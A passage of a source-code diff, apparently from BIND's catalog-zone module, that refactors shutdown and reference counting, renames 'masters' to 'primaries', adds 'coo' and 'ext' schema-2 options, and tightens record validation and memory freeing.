-	dns_catz_zones_t *catzs;
+dns_catz_zones_shutdown(dns_catz_zones_t *catzs) {
+	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
 
-	REQUIRE(catzsp != NULL && *catzsp != NULL);
-
-	catzs = *catzsp;
-	*catzsp = NULL;
-
-	if (isc_refcount_decrement(&catzs->refs) == 1) {
-		catzs->magic = 0;
-		isc_task_destroy(&catzs->updater);
-		isc_mutex_destroy(&catzs->lock);
-		if (catzs->zones != NULL) {
-			isc_ht_iter_t *iter = NULL;
-			isc_result_t result;
-			result = isc_ht_iter_create(catzs->zones, &iter);
-			INSIST(result == ISC_R_SUCCESS);
-			for (result = isc_ht_iter_first(iter);
-			     result == ISC_R_SUCCESS;) {
-				dns_catz_zone_t *zone = NULL;
-				isc_ht_iter_current(iter, (void **)&zone);
-				result = isc_ht_iter_delcurrent_next(iter);
-				dns_catz_zone_detach(&zone);
-			}
-			INSIST(result == ISC_R_NOMORE);
-			isc_ht_iter_destroy(&iter);
-			INSIST(isc_ht_count(catzs->zones) == 0);
-			isc_ht_destroy(&catzs->zones);
+	if (!atomic_compare_exchange_strong(&catzs->shuttingdown,
+					    &(bool){ false }, true))
+	{
+		return;
+	}
+
+	LOCK(&catzs->lock);
+	if (catzs->zones != NULL) {
+		isc_ht_iter_t *iter = NULL;
+		isc_result_t result;
+		isc_ht_iter_create(catzs->zones, &iter);
+		for (result = isc_ht_iter_first(iter); result == ISC_R_SUCCESS;)
+		{
+			dns_catz_zone_t *catz = NULL;
+			isc_ht_iter_current(iter, (void **)&catz);
+			result = isc_ht_iter_delcurrent_next(iter);
+			dns__catz_zone_shutdown(catz);
 		}
-		isc_refcount_destroy(&catzs->refs);
-		isc_mem_putanddetach(&catzs->mctx, catzs, sizeof(*catzs));
+		INSIST(result == ISC_R_NOMORE);
+		isc_ht_iter_destroy(&iter);
+		INSIST(isc_ht_count(catzs->zones) == 0);
+		isc_ht_destroy(&catzs->zones);
 	}
+	UNLOCK(&catzs->lock);
 }
 
+#ifdef DNS_CATZ_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_catz_zone, dns__catz_zone_destroy);
+ISC_REFCOUNT_TRACE_IMPL(dns_catz_zones, dns__catz_zones_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_catz_zone, dns__catz_zone_destroy);
+ISC_REFCOUNT_IMPL(dns_catz_zones, dns__catz_zones_destroy);
+#endif
+
 typedef enum {
 	CATZ_OPT_NONE,
 	CATZ_OPT_ZONES,
-	CATZ_OPT_MASTERS,
+	CATZ_OPT_COO,
+	CATZ_OPT_VERSION,
+	CATZ_OPT_CUSTOM_START, /* CATZ custom properties must go below this */
+	CATZ_OPT_EXT,
+	CATZ_OPT_PRIMARIES,
 	CATZ_OPT_ALLOW_QUERY,
 	CATZ_OPT_ALLOW_TRANSFER,
-	CATZ_OPT_VERSION,
 } catz_opt_t;
 
 static bool
 catz_opt_cmp(const dns_label_t *option, const char *opt) {
-	unsigned int l = strlen(opt);
-	if (option->length - 1 == l &&
-	    memcmp(opt, option->base + 1, l - 1) == 0) {
+	size_t len = strlen(opt);
+
+	if (option->length - 1 == len &&
+	    memcmp(opt, option->base + 1, len) == 0)
+	{
 		return (true);
 	} else {
 		return (false);
@@ -897,14 +1102,20 @@ catz_opt_cmp(const dns_label_t *option, const char *opt) {
 
 static catz_opt_t
 catz_get_option(const dns_label_t *option) {
-	if (catz_opt_cmp(option, "zones")) {
+	if (catz_opt_cmp(option, "ext")) {
+		return (CATZ_OPT_EXT);
+	} else if (catz_opt_cmp(option, "zones")) {
 		return (CATZ_OPT_ZONES);
-	} else if (catz_opt_cmp(option, "masters")) {
-		return (CATZ_OPT_MASTERS);
+	} else if (catz_opt_cmp(option, "masters") ||
+		   catz_opt_cmp(option, "primaries"))
+	{
+		return (CATZ_OPT_PRIMARIES);
 	} else if (catz_opt_cmp(option, "allow-query")) {
 		return (CATZ_OPT_ALLOW_QUERY);
 	} else if (catz_opt_cmp(option, "allow-transfer")) {
 		return (CATZ_OPT_ALLOW_TRANSFER);
+	} else if (catz_opt_cmp(option, "coo")) {
+		return (CATZ_OPT_COO);
 	} else if (catz_opt_cmp(option, "version")) {
 		return (CATZ_OPT_VERSION);
 	} else {
@@ -913,19 +1124,15 @@ catz_get_option(const dns_label_t *option) {
 }
 
 static isc_result_t
-catz_process_zones(dns_catz_zone_t *zone, dns_rdataset_t *value,
+catz_process_zones(dns_catz_zone_t *catz, dns_rdataset_t *value,
 		   dns_name_t *name) {
 	dns_label_t mhash;
 	dns_name_t opt;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(DNS_RDATASET_VALID(value));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 
-	if (value->rdclass != dns_rdataclass_in) {
-		return (ISC_R_FAILURE);
-	}
-
 	if (name->labels == 0) {
 		return (ISC_R_FAILURE);
 	}
@@ -933,43 +1140,118 @@ catz_process_zones(dns_catz_zone_t *zone, dns_rdataset_t *value,
 	dns_name_getlabel(name, name->labels - 1, &mhash);
 
 	if (name->labels == 1) {
-		return (catz_process_zones_entry(zone, value, &mhash));
+		return (catz_process_zones_entry(catz, value, &mhash));
 	} else {
 		dns_name_init(&opt, NULL);
 		dns_name_split(name, 1, &opt, NULL);
-		return (catz_process_zones_suboption(zone, value, &mhash,
+		return (catz_process_zones_suboption(catz, value, &mhash,
 						     &opt));
 	}
 }
 
 static isc_result_t
-catz_process_zones_entry(dns_catz_zone_t *zone, dns_rdataset_t *value,
-			 dns_label_t *mhash) {
+catz_process_coo(dns_catz_zone_t *catz, dns_label_t *mhash,
+		 dns_rdataset_t *value) {
 	isc_result_t result;
 	dns_rdata_t rdata;
 	dns_rdata_ptr_t ptr;
 	dns_catz_entry_t *entry = NULL;
 
-	/*
-	 * We only take -first- value, as mhash must be
-	 * different.
-	 */
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
+	REQUIRE(mhash != NULL);
+	REQUIRE(DNS_RDATASET_VALID(value));
+
+	/* Change of Ownership was introduced in version "2" of the schema. */
+	if (catz->version < 2) {
+		return (ISC_R_FAILURE);
+	}
+
 	if (value->type != dns_rdatatype_ptr) {
 		return (ISC_R_FAILURE);
 	}
 
+	if (dns_rdataset_count(value) != 1) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: 'coo' property PTR RRset contains "
+			      "more than one record, which is invalid");
+		catz->broken = true;
+		return (ISC_R_FAILURE);
+	}
+
 	result = dns_rdataset_first(value);
 	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	dns_rdata_init(&rdata);
+	dns_rdataset_current(value, &rdata);
+
+	result = dns_rdata_tostruct(&rdata, &ptr, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	if (dns_name_countlabels(&ptr.ptr) == 0) {
+		result = ISC_R_FAILURE;
+		goto cleanup;
+	}
+
+	result = isc_ht_find(catz->entries, mhash->base, mhash->length,
+			     (void **)&entry);
+	if (result != ISC_R_SUCCESS) {
+		/* The entry was not found .*/
+		goto cleanup;
+	}
+
+	if (dns_name_countlabels(&entry->name) == 0) {
+		result = ISC_R_FAILURE;
+		goto cleanup;
+	}
+
+	catz_coo_add(catz, entry, &ptr.ptr);
+
+cleanup:
+	dns_rdata_freestruct(&ptr);
+
+	return (result);
+}
+
+static isc_result_t
+catz_process_zones_entry(dns_catz_zone_t *catz, dns_rdataset_t *value,
+			 dns_label_t *mhash) {
+	isc_result_t result;
+	dns_rdata_t rdata;
+	dns_rdata_ptr_t ptr;
+	dns_catz_entry_t *entry = NULL;
+
+	if (value->type != dns_rdatatype_ptr) {
+		return (ISC_R_FAILURE);
+	}
+
+	if (dns_rdataset_count(value) != 1) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: member zone PTR RRset contains "
+			      "more than one record, which is invalid");
+		catz->broken = true;
 		return (ISC_R_FAILURE);
 	}
 
+	result = dns_rdataset_first(value);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
 	dns_rdata_init(&rdata);
 	dns_rdataset_current(value, &rdata);
 
 	result = dns_rdata_tostruct(&rdata, &ptr, NULL);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
 
-	result = isc_ht_find(zone->entries, mhash->base, mhash->length,
+	result = isc_ht_find(catz->entries, mhash->base, mhash->length,
 			     (void **)&entry);
 	if (result == ISC_R_SUCCESS) {
 		if (dns_name_countlabels(&entry->name) != 0) {
@@ -977,24 +1259,15 @@ catz_process_zones_entry(dns_catz_zone_t *zone, dns_rdataset_t *value,
 			dns_rdata_freestruct(&ptr);
 			return (ISC_R_FAILURE);
 		} else {
-			dns_name_dup(&ptr.ptr, zone->catzs->mctx, &entry->name);
+			dns_name_dup(&ptr.ptr, catz->catzs->mctx, &entry->name);
 		}
 	} else {
-		result = dns_catz_entry_new(zone->catzs->mctx, &ptr.ptr,
-					    &entry);
-		if (result != ISC_R_SUCCESS) {
-			dns_rdata_freestruct(&ptr);
-			return (result);
-		}
+		entry = dns_catz_entry_new(catz->catzs->mctx, &ptr.ptr);
 
-		result = isc_ht_add(zone->entries, mhash->base, mhash->length,
+		result = isc_ht_add(catz->entries, mhash->base, mhash->length,
 				    entry);
-		if (result != ISC_R_SUCCESS) {
-			dns_rdata_freestruct(&ptr);
-			dns_catz_entry_detach(zone, &entry);
-			return (result);
-		}
 	}
+	INSIST(result == ISC_R_SUCCESS);
 
 	dns_rdata_freestruct(&ptr);
 
@@ -1002,7 +1275,7 @@ catz_process_zones_entry(dns_catz_zone_t *zone, dns_rdataset_t *value,
 }
 
 static isc_result_t
-catz_process_version(dns_catz_zone_t *zone, dns_rdataset_t *value) {
+catz_process_version(dns_catz_zone_t *catz, dns_rdataset_t *value) {
 	isc_result_t result;
 	dns_rdata_t rdata;
 	dns_rdata_txt_t rdatatxt;
@@ -1010,11 +1283,19 @@ catz_process_version(dns_catz_zone_t *zone, dns_rdataset_t *value) {
 	uint32_t tversion;
 	char t[16];
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(DNS_RDATASET_VALID(value));
 
-	if (value->rdclass != dns_rdataclass_in ||
-	    value->type != dns_rdatatype_txt) {
+	if (value->type != dns_rdatatype_txt) {
+		return (ISC_R_FAILURE);
+	}
+
+	if (dns_rdataset_count(value) != 1) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: 'version' property TXT RRset contains "
+			      "more than one record, which is invalid");
+		catz->broken = true;
 		return (ISC_R_FAILURE);
 	}
 
@@ -1027,7 +1308,9 @@ catz_process_version(dns_catz_zone_t *zone, dns_rdataset_t *value) {
 	dns_rdataset_current(value, &rdata);
 
 	result = dns_rdata_tostruct(&rdata, &rdatatxt, NULL);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
 
 	result = dns_rdata_txt_first(&rdatatxt);
 	if (result != ISC_R_SUCCESS) {
@@ -1054,17 +1337,24 @@ catz_process_version(dns_catz_zone_t *zone, dns_rdataset_t *value) {
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup;
 	}
-	zone->version = tversion;
+	catz->version = tversion;
 	result = ISC_R_SUCCESS;
 
 cleanup:
 	dns_rdata_freestruct(&rdatatxt);
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_WARNING,
+			      "catz: invalid record for the catalog "
+			      "zone version property");
+		catz->broken = true;
+	}
 	return (result);
 }
 
 static isc_result_t
-catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
-		     dns_rdataset_t *value, dns_name_t *name) {
+catz_process_primaries(dns_catz_zone_t *catz, dns_ipkeylist_t *ipkl,
+		       dns_rdataset_t *value, dns_name_t *name) {
 	isc_result_t result;
 	dns_rdata_t rdata;
 	dns_rdata_in_a_t rdata_a;
@@ -1076,15 +1366,14 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 	char keycbuf[DNS_NAME_FORMATSIZE];
 	isc_buffer_t keybuf;
 	unsigned int rcount;
-	unsigned int i;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(ipkl != NULL);
 	REQUIRE(DNS_RDATASET_VALID(value));
 	REQUIRE(dns_rdataset_isassociated(value));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 
-	mctx = zone->catzs->mctx;
+	mctx = catz->catzs->mctx;
 	memset(&rdata_a, 0, sizeof(rdata_a));
 	memset(&rdata_aaaa, 0, sizeof(rdata_aaaa));
 	memset(&rdata_txt, 0, sizeof(rdata_txt));
@@ -1096,16 +1385,13 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 	 * - label and IN A/IN AAAA
 	 * - label and IN TXT - TSIG key name
 	 */
-	if (value->rdclass != dns_rdataclass_in) {
-		return (ISC_R_FAILURE);
-	}
-
 	if (name->labels > 0) {
 		isc_sockaddr_t sockaddr;
+		size_t i;
 
 		/*
 		 * We're pre-preparing the data once, we'll put it into
-		 * the right spot in the masters array once we find it.
+		 * the right spot in the primaries array once we find it.
 		 */
 		result = dns_rdataset_first(value);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -1116,12 +1402,14 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 			result = dns_rdata_tostruct(&rdata, &rdata_a, NULL);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			isc_sockaddr_fromin(&sockaddr, &rdata_a.in_addr, 0);
+			dns_rdata_freestruct(&rdata_a);
 			break;
 		case dns_rdatatype_aaaa:
 			result = dns_rdata_tostruct(&rdata, &rdata_aaaa, NULL);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			isc_sockaddr_fromin6(&sockaddr, &rdata_aaaa.in6_addr,
 					     0);
+			dns_rdata_freestruct(&rdata_aaaa);
 			break;
 		case dns_rdatatype_txt:
 			result = dns_rdata_tostruct(&rdata, &rdata_txt, NULL);
@@ -1129,28 +1417,33 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 
 			result = dns_rdata_txt_first(&rdata_txt);
 			if (result != ISC_R_SUCCESS) {
+				dns_rdata_freestruct(&rdata_txt);
 				return (result);
 			}
 
 			result = dns_rdata_txt_current(&rdata_txt, &rdatastr);
 			if (result != ISC_R_SUCCESS) {
+				dns_rdata_freestruct(&rdata_txt);
 				return (result);
 			}
 
 			result = dns_rdata_txt_next(&rdata_txt);
 			if (result != ISC_R_NOMORE) {
+				dns_rdata_freestruct(&rdata_txt);
 				return (ISC_R_FAILURE);
 			}
 
 			/* rdatastr.length < DNS_NAME_MAXTEXT */
-			keyname = isc_mem_get(mctx, sizeof(dns_name_t));
+			keyname = isc_mem_get(mctx, sizeof(*keyname));
 			dns_name_init(keyname, 0);
 			memmove(keycbuf, rdatastr.data, rdatastr.length);
 			keycbuf[rdatastr.length] = 0;
-			result = dns_name_fromstring(keyname, keycbuf, 0, mctx);
+			dns_rdata_freestruct(&rdata_txt);
+			result = dns_name_fromstring(keyname, keycbuf,
+						     dns_rootname, 0, mctx);
 			if (result != ISC_R_SUCCESS) {
 				dns_name_free(keyname, mctx);
-				isc_mem_put(mctx, keyname, sizeof(dns_name_t));
+				isc_mem_put(mctx, keyname, sizeof(*keyname));
 				return (result);
 			}
 			break;
@@ -1159,14 +1452,14 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 		}
 
 		/*
-		 * We have to find the appropriate labeled record in masters
-		 * if it exists.
-		 * In common case we'll have no more than 3-4 records here so
-		 * no optimization.
+		 * We have to find the appropriate labeled record in
+		 * primaries if it exists.  In the common case we'll
+		 * have no more than 3-4 records here, so no optimization.
 		 */
 		for (i = 0; i < ipkl->count; i++) {
 			if (ipkl->labels[i] != NULL &&
-			    !dns_name_compare(name, ipkl->labels[i])) {
+			    !dns_name_compare(name, ipkl->labels[i]))
+			{
 				break;
 			}
 		}
@@ -1176,7 +1469,7 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 				ipkl->keys[i] = keyname;
 			} else { /* A/AAAA */
 				memmove(&ipkl->addrs[i], &sockaddr,
-					sizeof(isc_sockaddr_t));
+					sizeof(sockaddr));
 			}
 		} else {
 			result = dns_ipkeylist_resize(mctx, ipkl, i + 1);
@@ -1184,7 +1477,8 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 				return (result);
 			}
 
-			ipkl->labels[i] = isc_mem_get(mctx, sizeof(dns_name_t));
+			ipkl->labels[i] = isc_mem_get(mctx,
+						      sizeof(*ipkl->labels[0]));
 			dns_name_init(ipkl->labels[i], NULL);
 			dns_name_dup(name, mctx, ipkl->labels[i]);
 
@@ -1192,7 +1486,7 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 				ipkl->keys[i] = keyname;
 			} else { /* A/AAAA */
 				memmove(&ipkl->addrs[i], &sockaddr,
-					sizeof(isc_sockaddr_t));
+					sizeof(sockaddr));
 			}
 			ipkl->count++;
 		}
@@ -1225,22 +1519,23 @@ catz_process_masters(dns_catz_zone_t *zone, dns_ipkeylist_t *ipkl,
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			isc_sockaddr_fromin(&ipkl->addrs[ipkl->count],
 					    &rdata_a.in_addr, 0);
+			dns_rdata_freestruct(&rdata_a);
 		} else {
 			result = dns_rdata_tostruct(&rdata, &rdata_aaaa, NULL);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
 			isc_sockaddr_fromin6(&ipkl->addrs[ipkl->count],
 					     &rdata_aaaa.in6_addr, 0);
+			dns_rdata_freestruct(&rdata_aaaa);
 		}
 		ipkl->keys[ipkl->count] = NULL;
 		ipkl->labels[ipkl->count] = NULL;
 		ipkl->count++;
-		dns_rdata_freestruct(&rdata_a);
 	}
 	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
-catz_process_apl(dns_catz_zone_t *zone, isc_buffer_t **aclbp,
+catz_process_apl(dns_catz_zone_t *catz, isc_buffer_t **aclbp,
 		 dns_rdataset_t *value) {
 	isc_result_t result = ISC_R_SUCCESS;
 	dns_rdata_t rdata;
@@ -1250,14 +1545,13 @@ catz_process_apl(dns_catz_zone_t *zone, isc_buffer_t **aclbp,
 	isc_buffer_t *aclb = NULL;
 	unsigned char buf[256]; /* larger than INET6_ADDRSTRLEN */
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(aclbp != NULL);
 	REQUIRE(*aclbp == NULL);
 	REQUIRE(DNS_RDATASET_VALID(value));
 	REQUIRE(dns_rdataset_isassociated(value));
 
-	if (value->rdclass != dns_rdataclass_in ||
-	    value->type != dns_rdatatype_apl) {
+	if (value->type != dns_rdatatype_apl) {
 		return (ISC_R_FAILURE);
 	}
 
@@ -1271,12 +1565,11 @@ catz_process_apl(dns_catz_zone_t *zone, isc_buffer_t **aclbp,
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 	dns_rdata_init(&rdata);
 	dns_rdataset_current(value, &rdata);
-	result = dns_rdata_tostruct(&rdata, &rdata_apl, zone->catzs->mctx);
+	result = dns_rdata_tostruct(&rdata, &rdata_apl, catz->catzs->mctx);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	isc_buffer_allocate(zone->catzs->mctx, &aclb, 16);
-	isc_buffer_setautorealloc(aclb, true);
+	isc_buffer_allocate(catz->catzs->mctx, &aclb, 16);
 	for (result = dns_rdata_apl_first(&rdata_apl); result == ISC_R_SUCCESS;
 	     result = dns_rdata_apl_next(&rdata_apl))
 	{
@@ -1296,14 +1589,14 @@ catz_process_apl(dns_catz_zone_t *zone, isc_buffer_t **aclbp,
 		if (apl_ent.negative) {
 			isc_buffer_putuint8(aclb, '!');
 		}
-		isc_buffer_reserve(&aclb, INET6_ADDRSTRLEN);
+		isc_buffer_reserve(aclb, INET6_ADDRSTRLEN);
 		result = isc_netaddr_totext(&addr, aclb);
 		RUNTIME_CHECK(result == ISC_R_SUCCESS);
 		if ((apl_ent.family == 1 && apl_ent.prefix < 32) ||
 		    (apl_ent.family == 2 && apl_ent.prefix < 128))
 		{
 			isc_buffer_putuint8(aclb, '/');
-			isc_buffer_putdecint(aclb, apl_ent.prefix);
+			isc_buffer_printf(aclb, "%" PRId8, apl_ent.prefix);
 		}
 		isc_buffer_putstr(aclb, "; ");
 	}
@@ -1323,61 +1616,71 @@ catz_process_apl(dns_catz_zone_t *zone, isc_buffer_t **aclbp,
 }
 
 static isc_result_t
-catz_process_zones_suboption(dns_catz_zone_t *zone, dns_rdataset_t *value,
+catz_process_zones_suboption(dns_catz_zone_t *catz, dns_rdataset_t *value,
 			     dns_label_t *mhash, dns_name_t *name) {
 	isc_result_t result;
 	dns_catz_entry_t *entry = NULL;
 	dns_label_t option;
 	dns_name_t prefix;
 	catz_opt_t opt;
+	unsigned int suffix_labels = 1;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(mhash != NULL);
 	REQUIRE(DNS_RDATASET_VALID(value));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 
-	if (name->labels == 0) {
+	if (name->labels < 1) {
 		return (ISC_R_FAILURE);
 	}
 	dns_name_getlabel(name, name->labels - 1, &option);
 	opt = catz_get_option(&option);
 
+	/*
+	 * The custom properties in version 2 schema must be placed under the
+	 * "ext" label.
+	 */
+	if (catz->version >= 2 && opt >= CATZ_OPT_CUSTOM_START) {
+		if (opt != CATZ_OPT_EXT || name->labels < 2) {
+			return (ISC_R_FAILURE);
+		}
+		suffix_labels++;
+		dns_name_getlabel(name, name->labels - 2, &option);
+		opt = catz_get_option(&option);
+	}
+
 	/*
 	 * We're adding this entry now, in case the option is invalid we'll get
 	 * rid of it in verification phase.
 	 */
-	result = isc_ht_find(zone->entries, mhash->base, mhash->length,
+	result = isc_ht_find(catz->entries, mhash->base, mhash->length,
 			     (void **)&entry);
 	if (result != ISC_R_SUCCESS) {
-		result = dns_catz_entry_new(zone->catzs->mctx, NULL, &entry);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		result = isc_ht_add(zone->entries, mhash->base, mhash->length,
+		entry = dns_catz_entry_new(catz->catzs->mctx, NULL);
+		result = isc_ht_add(catz->entries, mhash->base, mhash->length,
 				    entry);
-		if (result != ISC_R_SUCCESS) {
-			dns_catz_entry_detach(zone, &entry);
-			return (result);
-		}
 	}
+	INSIST(result == ISC_R_SUCCESS);
 
 	dns_name_init(&prefix, NULL);
-	dns_name_split(name, 1, &prefix, NULL);
+	dns_name_split(name, suffix_labels, &prefix, NULL);
 	switch (opt) {
-	case CATZ_OPT_MASTERS:
-		return (catz_process_masters(zone, &entry->opts.masters, value,
-					     &prefix));
+	case CATZ_OPT_COO:
+		return (catz_process_coo(catz, mhash, value));
+	case CATZ_OPT_PRIMARIES:
+		return (catz_process_primaries(catz, &entry->opts.masters,
+					       value, &prefix));
 	case CATZ_OPT_ALLOW_QUERY:
 		if (prefix.labels != 0) {
 			return (ISC_R_FAILURE);
 		}
-		return (catz_process_apl(zone, &entry->opts.allow_query,
+		return (catz_process_apl(catz, &entry->opts.allow_query,
 					 value));
 	case CATZ_OPT_ALLOW_TRANSFER:
 		if (prefix.labels != 0) {
 			return (ISC_R_FAILURE);
 		}
-		return (catz_process_apl(zone, &entry->opts.allow_transfer,
+		return (catz_process_apl(catz, &entry->opts.allow_transfer,
 					 value));
 	default:
 		return (ISC_R_FAILURE);
@@ -1386,52 +1689,100 @@ catz_process_zones_suboption(dns_catz_zone_t *zone, dns_rdataset_t *value,
 	return (ISC_R_FAILURE);
 }
 
+static void
+catz_entry_add_or_mod(dns_catz_zone_t *catz, isc_ht_t *ht, unsigned char *key,
+		      size_t keysize, dns_catz_entry_t *nentry,
+		      dns_catz_entry_t *oentry, const char *msg,
+		      const char *zname, const char *czname) {
+	isc_result_t result = isc_ht_add(ht, key, (uint32_t)keysize, nentry);
+
+	if (result != ISC_R_SUCCESS) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "catz: error %s zone '%s' from catalog '%s' - %s",
+			      msg, zname, czname, isc_result_totext(result));
+	}
+	if (oentry != NULL) {
+		dns_catz_entry_detach(catz, &oentry);
+		result = isc_ht_delete(catz->entries, key, (uint32_t)keysize);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	}
+}
+
 static isc_result_t
-catz_process_value(dns_catz_zone_t *zone, dns_name_t *name,
+catz_process_value(dns_catz_zone_t *catz, dns_name_t *name,
 		   dns_rdataset_t *rdataset) {
 	dns_label_t option;
 	dns_name_t prefix;
 	catz_opt_t opt;
+	unsigned int suffix_labels = 1;
 
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
 	REQUIRE(DNS_RDATASET_VALID(rdataset));
 
+	if (name->labels < 1) {
+		return (ISC_R_FAILURE);
+	}
 	dns_name_getlabel(name, name->labels - 1, &option);
 	opt = catz_get_option(&option);
+
+	/*
+	 * The custom properties in version 2 schema must be placed under the
+	 * "ext" label.
+	 */
+	if (catz->version >= 2 && opt >= CATZ_OPT_CUSTOM_START) {
+		if (opt != CATZ_OPT_EXT || name->labels < 2) {
+			return (ISC_R_FAILURE);
+		}
+		suffix_labels++;
+		dns_name_getlabel(name, name->labels - 2, &option);
+		opt = catz_get_option(&option);
+	}
+
 	dns_name_init(&prefix, NULL);
-	dns_name_split(name, 1, &prefix, NULL);
+	dns_name_split(name, suffix_labels, &prefix, NULL);
+
 	switch (opt) {
 	case CATZ_OPT_ZONES:
-		return (catz_process_zones(zone, rdataset, &prefix));
-	case CATZ_OPT_MASTERS:
-		return (catz_process_masters(zone, &zone->zoneoptions.masters,
-					     rdataset, &prefix));
+		return (catz_process_zones(catz, rdataset, &prefix));
+	case CATZ_OPT_PRIMARIES:
+		return (catz_process_primaries(catz, &catz->zoneoptions.masters,
+					       rdataset, &prefix));
 	case CATZ_OPT_ALLOW_QUERY:
 		if (prefix.labels != 0) {
 			return (ISC_R_FAILURE);
 		}
-		return (catz_process_apl(zone, &zone->zoneoptions.allow_query,
+		return (catz_process_apl(catz, &catz->zoneoptions.allow_query,
 					 rdataset));
 	case CATZ_OPT_ALLOW_TRANSFER:
 		if (prefix.labels != 0) {
 			return (ISC_R_FAILURE);
 		}
 		return (catz_process_apl(
-			zone, &zone->zoneoptions.allow_transfer, rdataset));
+			catz, &catz->zoneoptions.allow_transfer, rdataset));
 	case CATZ_OPT_VERSION:
 		if (prefix.labels != 0) {
 			return (ISC_R_FAILURE);
 		}
-		return (catz_process_version(zone, rdataset));
+		return (catz_process_version(catz, rdataset));
 	default:
 		return (ISC_R_FAILURE);
 	}
 }
 
-isc_result_t
-dns_catz_update_process(dns_catz_zones_t *catzs, dns_catz_zone_t *zone,
-			const dns_name_t *src_name, dns_rdataset_t *rdataset) {
+/*%<
+ * Process a single rdataset from a catalog zone 'catz' update, src_name is the
+ * record name.
+ *
+ * Requires:
+ * \li	'catz' is a valid dns_catz_zone_t.
+ * \li	'src_name' is a valid dns_name_t.
+ * \li	'rdataset' is valid rdataset.
+ */
+static isc_result_t
+dns__catz_update_process(dns_catz_zone_t *catz, const dns_name_t *src_name,
+			 dns_rdataset_t *rdataset) {
 	isc_result_t result;
 	int order;
 	unsigned int nlabels;
@@ -1440,11 +1791,18 @@ dns_catz_update_process(dns_catz_zones_t *catzs, dns_catz_zone_t *zone,
 	dns_rdata_soa_t soa;
 	dns_name_t prefix;
 
-	REQUIRE(DNS_CATZ_ZONES_VALID(catzs));
-	REQUIRE(DNS_CATZ_ZONE_VALID(zone));
+	REQUIRE(DNS_CATZ_ZONE_VALID(catz));
 	REQUIRE(ISC_MAGIC_VALID(src_name, DNS_NAME_MAGIC));
 
-	nrres = dns_name_fullcompare(src_name, &zone->name, &order, &nlabels);
+	if (rdataset->rdclass != dns_rdataclass_in) {
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
+			      DNS_LOGMODULE_MASTER, ISC_LOG_ERROR,
+			      "catz: RR found which has a non-IN class");
+		catz->broken = true;
+		return (ISC_R_FAILURE);
+	}
+
+	nrres = dns_name_fullcompare(src_name, &catz->name, &order, &nlabels);
 	if (nrres == dns_namereln_equal) {
 		if (rdataset->type == dns_rdatatype_soa) {
 			result = dns_rdataset_first(rdataset);
@@ -1459,6 +1817,7 @@ dns_catz_update_process(dns_catz_zones_t *catzs, dns_catz_zone_t *zone,
 			/*
 			 * xxxwpk TODO do we want to save something from SOA?
 			 */
+			dns_rdata_freestruct(&soa);
 			return (result);
